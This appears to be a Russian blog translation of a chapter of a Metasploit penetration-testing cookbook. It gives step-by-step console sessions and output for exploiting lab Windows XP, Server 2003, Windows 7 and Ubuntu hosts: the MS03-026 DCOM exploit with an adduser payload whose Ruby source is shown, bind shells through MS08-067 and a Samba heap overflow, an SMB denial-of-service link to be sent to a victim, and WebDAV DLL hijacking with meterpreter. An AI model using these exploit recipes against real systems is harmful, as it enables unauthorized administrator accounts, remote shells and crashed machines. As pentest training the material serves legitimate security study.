Metasploit Penetration Testing Cookbook – часть 3

Предлагаю вам перевод третьей части книги “Metasploit Penetration Testing Cookbook“. Не забудьте прочитать: часть 1,часть 2.

Глава 3 – Операционная система – оценка уязвимости и эксплуатация

В этой главе мы рассмотрим:

  • Введение
  • Использование эксплоита – простые советы
  • Пен-тест Windows XP SP2
  • Shell для удаленного доступа
  • Пен-тест Windows Server 2003
  • Пен-тест Windows 7/2008 R2
  • Пен-тест Linux (Ubuntu/Debian)
  • Разбор Windows DLL injection

Введение

В link-предыдущей главе, мы сфокусировались на сборе информации с целевой системы: IP-адрес, открытые порты, доступные сервисы/службы, ОС и т.д. Важным моментом при сборе информации является определение ОС. Эта информация поможет нам подобрать подходящий эксплоит(ы) и применить его (их).

Каждая ОС имеет те или иные ошибки. Как только появляется сообщение о какой либо ошибке, начинается процесс разработки эксплоитов. На черном рынке 0day уязвимости ценятся и цена  варьируется от 50К USD, а то и больше.

В этой главе мы научимся проникать на ОС. Использовать эксплоиты и payloads, а также их параметры. Итак, давай приступим.

Использование эксплоита – простые советы

Перед тем как применять exploits и payloads на целевой машине, вы должны знать основы о них. Важно понять, как использовать эксплоиты, чтобы не допустить распространенные ошибки, которые могут возникнуть из-за неправильной конфигурации параметров.

Для того, чтобы начать использовать эксплоиты, нужно просканировать целевую машину. После того, как собрано достаточно информации о цели, след. шагом будет выбор подходящего эксплоита. Пройдемся по некоторым командам, которые применяются вместе с эксплоитами.

Список команд, которые будут полезны при использовании эксплоита:

msf > show exploits и msf > show payloads – эти две команды показывают список доступных эксплоитов и payloads.

msf > search exploit – команда будет искать конкретный эксплоит, например:

msf > search ms03_026_dcom
Matching Modules
================
Name                                 Disclosure Date  Rank    Description
----                                 ---------------  ----    -----------
exploit/windows/dcerpc/ms03_026_dcom 2003-07-16       great   Microsoft RPC DCOM

msf > use exploit – команда устанавливает эксплоит в активное состояние, т.е. им можно пользоваться, например:

msf > use exploit/windows/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) >

show options – команда показывает, какие доступные опции или параметры используются в эксплоите. К ним относятся: IP-адрес, порты, потоки и т.п. Параметры, которые отмечены yes, должны обязательно иметь значения, чтобы эксплоит заработал, например:

msf exploit(ms03_026_dcom) > show options

Module options (exploit/windows/dcerpc/ms03_026_dcom):

Name   Current Setting   Required   Description
----   ---------------   --------   -----------
RHOST                    yes        The target address
RPORT  135               yes        The target port

set – эта команда задает значения для параметров/опций в эксплоите, см. след. команду:

msf exploit(ms03_026_dcom) > set RHOST 102.168.56.102
RHOST =>102.168.56.102
msf exploit(ms03_026_dcom) >

Есть дополнительные команды: setg и unsetg. Они применяются, когда хотим изменить глобальные параметры, используемые в msfconsole. Позволяют чуть-чуть сэкономить время.

show targets – каждый exploit создан для атаки на конкретную службу/сервис. Эта команда показывает, какие цели могут быть атакованы, например:

msf exploit(ms03_026_dcom) > show targets

Exploit targets:

  Id   Name
  --   ----
  0    Windows NT SP3-6a/2000/XP/2003 Universal

Видим, что dcom exploit подходит для нескольких версий Windows.

Пен-тест Windows XP SP2

Будем считать, что сканирование целевой системы произведено и вся информация о ней собрана.

Основная задача будет заключаться в эксплоита, который будет использован на машине Windows XP SP2. Вы можете просмотреть директорию /exploits/windows или просто выполнить поиск по доступным эксплоитам для платформы Windows XP. Для проникновения на целевую машину, здесь мы будем использовать RPC dcom уязвимость. Давайте произведем поиск по RPC dcom, используя след. команду:

msf > search dcom
Matching Modules
================

Name                                      Disclosure Date  Rank   Description
----                                      ---------------  ---    -----------
exploit/windowsdcerpc/ms03_026_dcom       2003-07-16       great  Microsoft RPC
exploit/windows/driver/broadcom_wifi_ssid 2006-11-11       low    Broadcom Wireless
exploit/windows/smb/ms04_031_netdde       2004-10-12       good   Microsoft NetDDE

Как видим, поиск выдал нам три результата. Мы будем использовать первый, так как его Rank = greate. Следовательно у нас будет больше шансов взломать цель.

Теперь активируем эксплоит выполнив след. команду:

msf > use exploit/windows/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) >

Далее настроим параметры/опции эксплоита. Команда show options выдаст список доступных параметров:

msf exploit(ms03_026_dcom) > show options

Module options (exploit/windows/dcerpc/ms03_026_dcom):

  Name   Current Setting  Required   Description
  ----   ---------------  --------   -----------
  RHOST                   yes        The target address
  RPORT 135               yes        The target port

Exploit target:
  Id  Name
  --  ----
  0   Windows NT SP3-6a/2000/XP/2003 Universal

RHOST (remote host) обозначает IP-адрес хоста (наша цель). RPORT (remote port) – порт удаленного хоста. По умолчанию RPORT = 135. Для того, чтобы эксплоит запустился, нам нужно указать IP-адрес для RHOST:

msf exploit(ms03_026_dcom) > set RHOST 192.168.56.102
RHOST =>192.168.56.102
msf exploit(ms03_026_dcom) >

Стоит отметить, что ms03_026_dcom  exploit имеет ID = 0. Это означает, что нам не нужно указывать, какая из Windows запущена на целевой машине. Эксплоит будет работать на любой Windows, которые в нем перечислены. В противном случае нам нужно было бы использовать команду show targets, чтобы указать конкретную ОС.

Теперь, когда значение RHOST установлено, можем попытаться запустить exploit, но получим ошибку. Так как мы не указали payload.

Следующий шаг, который мы должны сделать, это выбрать соответствующий payload. Мы можем воспользоваться командой show payloads, чтобы посмотреть список доступных payloads. Начнем с простого примера — windows/adduser. Этот payload добавит нового пользователя на целевую систему:

msf exploit(ms03_026_dcom) > set PAYLOAD windows/adduser
PAYLOAD =>windows/adduser

Теперь, если мы снова введем команду show options, появится список параметров для эксплоита, а также для payload’а:

Payload options (windows/adduser):
Name      Current Setting   Required  Description
----      ---------------   --------  -----------
EXITFUNC  thread            yes       seh, thread, process, none
PASS      metasploit        yes       password for this user
USER      metasploit        yes       The username to create

Как видим логин и пароль уже заданы – metasploit. Можем поменять их командами set PASS и set USER.

Теперь все готово для запуска эксплоита:

msf exploit(ms03_026_dcom) > exploit
[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...
[*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.56.102[135] ...
[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.56.102[135] ...
[*] Sending exploit ...
[*] Exploit completed, but no session was created.

Последняя строка говорит на о том, что эксплоит выполнился успешно. Теперь на целевой машине добавлен новый пользователь. Вывод также говорит о том, что сессия не была создана, это объясняется тем, что в payload мы указали только adduser. Таким образом после завершения эксплоита, соединение будет завершено. В след. рецепте мы будем использовать payload для создания сессии.

Чтобы узнать больше об этой уязвимости, посетите Microsoft Security Bulletin — http://technet.microsoft.com/en-us/security/bulletin/ms03-026

Для того, чтобы понять, как работает adduser payload, проанализируйте след. Ruby код:

root@bt:~# cd /pentest/exploits/framework3/modules/payloads/singles/windows
root@bt:/pentest/exploits/framework3/modules/payloads/singles/windows# less adduser.rb

The following part of the code that is of interest for us:

# Register command execution options
register_options(
[
OptString.new('USER', [ true, "The username to create", "metasploit" ]),
OptString.new('PASS', [ true, "The password for this user", "metasploit" ]),
], self.class)
# Hide the CMD option
deregister_options('CMD')
end
#
# Override the exec command string
#
def command_string
user = datastore['USER'] || 'metasploit'
pass = datastore['PASS'] || ''
if(pass.length >14)
raise ArgumentError, "Password for the adduser payload must be 14 characters or less"
end
return "cmd.exe /c net user #{user} #{pass} /ADD &&" +
"net localgroup Administrators #{user} /ADD"
end

Код простой и содержит комментарии, проблем возникнуть не должно. Можете с ним поиграться, чтобы лучше понять, как работает(ют) payload(s).

Shell для удаленного доступа

В предыдущем рецепте, мы проанализировали, как применить эксплот для Windows SP2 машины и добавить акк нового пользователя. В этом рецепте мы пойдем дальше и “привяжем” shell, чтобы установить удаленное соединение с целевой системой и получить контроль над ней. Все, что нам нужно сделать, это воспользоваться другим payload’ом, который может создать shell на целевой системе.

Для того, чтобы привязать shell к целевой машине, нужно выполнить несколько простых шагов:

Шаг 1

Снова воспользуемся dcom exploit’ом. Установим параметры, а затем выберем payload:

msf > use exploit/windows/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) > show options

Module options (exploit/windows/dcerpc/ms03_026_dcom):
  Name    Current Setting   Required   Description
  ----    ---------------   --------   -----------
  RHOST                     yes        The target address
  RPORT   135               yes         The target port

Exploit target:
  Id   Name
  --   ----
  0    Windows NT SP3-6a/2000/XP/2003 Universal
msf exploit(ms03_026_dcom) > set RHOST 192.168.56.102
RHOST =>192.168.56.102

Шаг 2

Эксплоит установлен, переходим к payload. Воспользуемся командой show payloads, чтобы посмотреть список доступныйpayloads.  Будем использовать windows/shell/bind_tcp, который откроет TCP соединение на 4444 порте:

msf exploit(ms03_026_dcom) > set PAYLOAD windows/shell/bind_tcp
PAYLOAD =>windows/shell/bind_tcp

Теперь, используя команду show options, можем настроить параметры, такие как: RHOST и  изменить порт по умолчанию. После того, как параметры заданы, выполняем exploit:

msf exploit(ms03_026_dcom) > exploit
[*] Started reverse handler on 192.168.56.101:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (240 bytes) to 192.168.56.102
[*] Command shell session 1 opened (192.168.56.101:4444 ->192.168.56.102:1052) at 2011-10-31 01:55:42 +0530

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:WINDOWSsystem32>

Эксплоит выполнен успешно и мы получили командную строку, запущенную в msfconsole. Для  того, чтобы выйти выполните команду exit.

Чтобы понять, как работает bind_tcp, нам нужно немного подождать. Так как эта тема включает в себя некоторые понятия, которые будем рассматривать в след. главе (статье). Тем не менее, вы можете пока посмотреть/изучить, как работает payload Ruby код, перейдя в — /pentest/exploits/framework3/modules/payloads/stagers/windows/bind_tcp.rb.

Почитать о Metasploit можно, например здесь.

Пен-тест Windows Server 2003

В предыдущем рецепте мы узнали, как использовать dcom exploit. В этом разделе мы сосредоточим внимание на том, как эксплуатировать Windows 2003 Server. Windows 2003 Server широко используется в корпоративной среде. Здесь мы будем рассматривать netapi32.dll уязвимость. Давайте поскорее начнем.

Запускаем msfconsole, затем сканируем целевую систему.

Давайте начнем с поиска netapi:

msf > search netapi

Matching Modules
================

  Name                                 Disclosure Date  Rank
  ----                                 ---------------  ---- 
  exploit/windows/smb/ms03_049_netapi  2003-11-11       good
  exploit/windows/smb/ms06_040_netapi  2006-08-08       good
  exploit/windows/smb/ms06_070_wkssvc  2006-11-14       manual
  exploit/windows/smb/ms08_067_netapi  2008-10-28       great

Видим, что выдалось четыре результата. Нам более предпочтительнее использовать последний эксплоит из списка, так как у него Rank = great:

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  RHOST                     yes       The target address
  RPORT    445              yes       Set the SMB service port
  SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Exploit target:

  Id Name
  -- ----
  0 Automatic Targeting

msf exploit(ms08_067_netapi) > set RHOST 192.168.56.102
RHOST =>192.168.56.102

И снова, Id = 0 – это значит, что нам не нужно указывать целевую систему.

После того, как завершили загрузку эксплоита, следующим шагом будет загрузка payload’a:

msf exploit(ms08_067_netapi) > set payload windows/shell/bind_tcp
payload =>windows/shell/bind_tcp
msf exploit(ms08_067_netapi) > set LHOST 192.168.56.101
LHOST =>192.168.56.101

Теперь эксплоит и payload готовы. Остается выполнить команду exploit:

msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows 2003 SERVER - Service Pack 2 - lang:English
[*] Selected Target: Windows 2003 Server SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (240 bytes) to 192.168.56.102
[*] Command shell session 1 opened (192.168.56.101:43408 ->192.168.56.102:4444) at 2011-11-02 21:25:30 +0530
C:WINDOWSsystem32>

Бинго! Мы получили shell на целевой машине.

Пен-тест Windows 7/2008 R2

В этом разделе будем обсуждать эксплоит для SMB клиента, который вызывает зависание системы и ее дальнейший крах. Эта уязвимость не предоставляет shell.

SMB клиент в ядре Microsoft Windows Server 2008 R2 и Windows 7 позволяет удаленным SMB серверам и человеку по середине (man-in-the-middle attacker) выполнить отказ в обслуживании (бесконечный цикл и зависание системы) через ответный пакет SMBv1/SMBv2. Этот пакет содержит неправильное значение длины в заголовке NetBIOS или дополнительное поле в конце пакета.

Metasploit содержит вспомогательный модуль auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop, который собственно и производит отказ в обслуживании. Перейдем к практике:

msf > use auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop
msf auxiliary(ms10_006_negotiate_response_loop) > show options

Module options (auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop):

  Name        Current Setting  Required  Description
  ----        ---------------  --------  -----------
  SRVHOST     0.0.0.0          yes       The local host..
  SRVPORT     445              yes       The SMB port to listen
  SSL         false            no        Negotiate SSL..
  SSLCert                      no        Path to a custom SSL
  SSLVersion  SSL3             no        Specify the version..

Единственный параметр, который нужно настроить – SRVHOST.  Из столбца Description понятно, что это IP-адрес пен-тестера, т.е. ваш:

msf auxiliary(ms10_006_negotiate_response_loop) > set SRVHOST 192.168.56.101
SRVHOST =>192.168.56.101

Для запуска используем команду run. Как только модуль выполнится, он сгенерирует ссылку на общую папку 192.168.56.101SharedAnything:

msf auxiliary(ms10_006_negotiate_response_loop) > run
[*] Starting the malicious SMB service...
[*] To trigger, the vulnerable client should try to access: 192.168.56.101SharedAnything
[*] Server started

Теперь эту ссылку отправляем пользователю. И когда он перейдет по ней, произойдет крах системы, т.е. система перезагрузится.

Пен-тест Linux (Ubuntu/Debian)

Linux, также является широко используемой ОС после Windows. В этом рецепте для пен-теста будем использовать Ubuntu 9.0. Процесс взлома будет аналогичен для любой Linux и Solaris ОС, главное чтобы на них работала служба/демон Samba.

Начнем со сканирования и сбора информации о целевой системе. Давайте выполним быстрое сканирование в Nmap и проанализируем результаты:

msf > nmap -sT 192.168.56.101
[*] exec: nmap 192.168.56.101

Starting Nmap 5.20 ( http://nmap.org ) at 2011-11-05 13:35 IST
Warning: Traceroute does not support idle or connect scan, disabling...
Nmap scan report for 192.168.56.101
Host is up (0.00048s latency).
Not shown: 997 closed ports
PORT    STATE  SERVICE VERSION
80/tcp  open   http Apache httpd 2.2.3 ((Ubuntu) PHP/5.2.1)|_html-title: Index of /
139/tcp open   netbios-ssn Samba smbd 3.X (workgroup: MSHOME)
445/tcp open   netbios-ssn Samba smbd 3.X (workgroup: MSHOME)
MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems)

No exact OS matches for host (If you know what OS is running on it, see http://nmap.org/submit/)

След. шагом нужно подобрать подходящий эксплоит и настроить payload. Поищем подходящий Samba exploit:

msf > search Samba

Появится список эксплоитов. Мы воспользуемся этим — exploit/linux/samba/lsa_transnames_heap, у которого Rank = good:

msf > use exploit/linux/samba/lsa_transnames_heap
msf exploit(lsa_transnames_heap) > show options

Module options (exploit/linux/samba/lsa_transnames_heap):

  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  RHOST                     yes       The target address
  RPORT    445              yes       Set the SMB service port
  SMBPIPE  LSARPC           yes       The pipe name to use

Exploit target:

  Id  Name
  --  ----
  0   Linux vsyscall
msf exploit(lsa_transnames_heap) > set RHOST 192.168.56.101
RHOST =>192.168.56.101
msf exploit(lsa_transnames_heap) >

След. шагом будет установка payload. В качестве payload будет использовать linux/x86/shell_bind_tcp:

msf exploit(lsa_transnames_heap) > set payload linux/x86/shell_bind_tcp
payload =>linux/x86/shell_bind_tcp
msf exploit(lsa_transnames_heap) > show options

Module options (exploit/linux/samba/lsa_transnames_heap):

  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  RHOST    192.168.56.101   yes       The target address
  RPORT    445              yes       Set the SMB service port
  SMBPIPE  LSARPC           yes       The pipe name to use

Payload options (linux/x86/shell_bind_tcp):

  Name   Current Setting  Required  Description
  ----   ---------------  --------  -----------
  LPORT  4444             yes       The listen port
  RHOST  192.168.56.101   no        The target address

Все готово. Последним шагом будет команда exploit:

msf exploit(lsa_transnames_heap) > exploit
[*] Started bind handler
[*] Creating nop sled....
[*] Trying to exploit Samba with address 0xffffe410...
[*] Connecting to the SMB service...

В случае успешного выполнения эксплоита, нам будет предоставлен shell на целевой машине. Весь процесс, который мы сейчас проделали очень похож на предыдущие, разница лишь в эксплоите и payload. Чем больше вы будите практиковаться, тем больше будите понимать Metasploit.

Samba использует общие принтеры и папки для обмена данными между Linux и Windows ОС. Модуль, который мы рассмотрели в этом рецепте вызывает переполнение кучи в службе LSA RPC, демона Samba. Есть шансы, что эксплоит завершится неудачей с первой попытки, поэтому попробуйте повторить его несколько раз, чтобы добиться успеха.

Давайте рассмотрим некоторые другие модули, связанные с ОС Linux. Настоятельно рекомендую ознакомиться с ними самостоятельно, чтобы глубже понять процесс взлома. К ним относятся:

  • Samba trans2open Overflow
  • Samba chain_reply Memory Corruption

Разбор Windows DLL injection

В этом рецепте мы будем иметь дело с особым эксплоитом, которого не существует в ОС Winodws. На самом деле он присутствует в программном обеспечении, работающем в Windows. Это удаленный вектор атаки, который затрагивает загрузку внешних библиотек.

Атака предполагает создание уязвимых путей или каталогов.

Рассмотрим практическую реализацию DLL инъекции. В этом примере целевой системой будет Windows 7 Ultimate. Давайте начнем.

В качестве эксплоита будем использовать модуль exploit/windows/browser/webdav_dll_hijacker, а в качестве payload — windows/meterpreter/bind_tcp:

msf > use exploit/windows/browser/webdav_dll_hijacker
msf exploit(webdav_dll_hijacker) > set payload windows/meterpreter/bind_tcp
payload =>windows/meterpreter/bind_tcp
msf exploit(webdav_dll_hijacker) > show options

Module options (exploit/windows/browser/webdav_dll_hijacker):

  Name        Current Setting   Required   Description
  ----        ---------------   --------   -----------
  BASENAME    policy            yes        The base name for the listed
  EXTENSIONS  txt               yes        The list of extensions
  SHARENAME   documents         yes        The name of the top-level
  SRVHOST     0.0.0.0           yes        The local host...
  SRVPORT     80                yes        The daemon port to listen
  SSLCert                       no         Path to a custom SSL..
  URIPATH     /                 yes        The URI to use

Payload options (windows/meterpreter/bind_tcp):

  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  EXITFUNC  process          yes       Exit technique: seh..
  LPORT     4444             yes       The listen port
  RHOST     192.168.56.102   no        The target address

Exploit target:

  Id  Name
  --  ----
  0   Automatic

Описывать каждый столбец не буду, так как в Description уже есть описание.

Теперь остается выполнить команду exploit:

msf exploit(webdav_dll_hijacker) > exploit
[*] Exploit running as background job.
[*] Started bind handler
[*]
[*] Exploit links are now available at
192.168.56.101documents

Посмотрим, что происходит на целевой системе

Как видим на целевой системе создался файл policy.txt. Файл полностью безвреден. Но, после того, как пользователь откроет этот файл, начнет работать DLL и вы увидите активность в msfconsole.

DLL (англ. dynamic-link library — «библиотека динамической компоновки», «динамически подключаемая библиотека») — понятие операционных систем Microsoft Windows и IBM OS/2, динамическая библиотека, позволяющая многократное использование различными программными приложениями. K DLL относятся также элементы управления ActiveX и драйверы. В мире UNIX аналогичные функции выполняют так называемые общие объекты (англ. shared objects). Когда приложение выполняется/запущено, функция loadlibrary() подгружает необходимые DLL. Если местоположение загрузки DLL не указано или содержит недостаточно подходящий путь, тогда Windows использует свои пути для определения. Одним из таких путей является рабочий каталог.

Когда целевой пользователь посещает общую папку, он переходит в контролируемую злоумышленником зону/территорию. Как? Общий файл policy.txt содержит недостаточно подходящий путь к DLL. Поэтому, когда пользователь запускает этот файл, Windows начинает искать пропавшую DLL. Далее…так как текущий каталог /documents находится под контролем атакующего, он/она может добавить вредоносный код в DLL, который Windows выполнит (т.к. текущий рабочий каталог является одним из мест, где по умолчанию Windows, ищет библиотеки). Таким образом устанавливается соединение/shell с целевой системой и системой атакующего.

Однако, мы можем искать DLL injection, для этого нам понадобится простой инструмент созданный H. D. Moore. (создатель Metasploit). — DllHijackAudit kit. Ознакомиться с этой утилитой можно тут.

Продолжение следует…

Click to rate this post!
[Total: 5 Average: 3.4]

Специалист в области кибер-безопасности. Работал в ведущих компаниях занимающихся защитой и аналитикой компьютерных угроз. Цель данного блога - простым языком рассказать о сложных моментах защиты IT инфраструктур и сетей.

1 comments On Metasploit Penetration Testing Cookbook – часть 3

Leave a reply:

Your email address will not be published.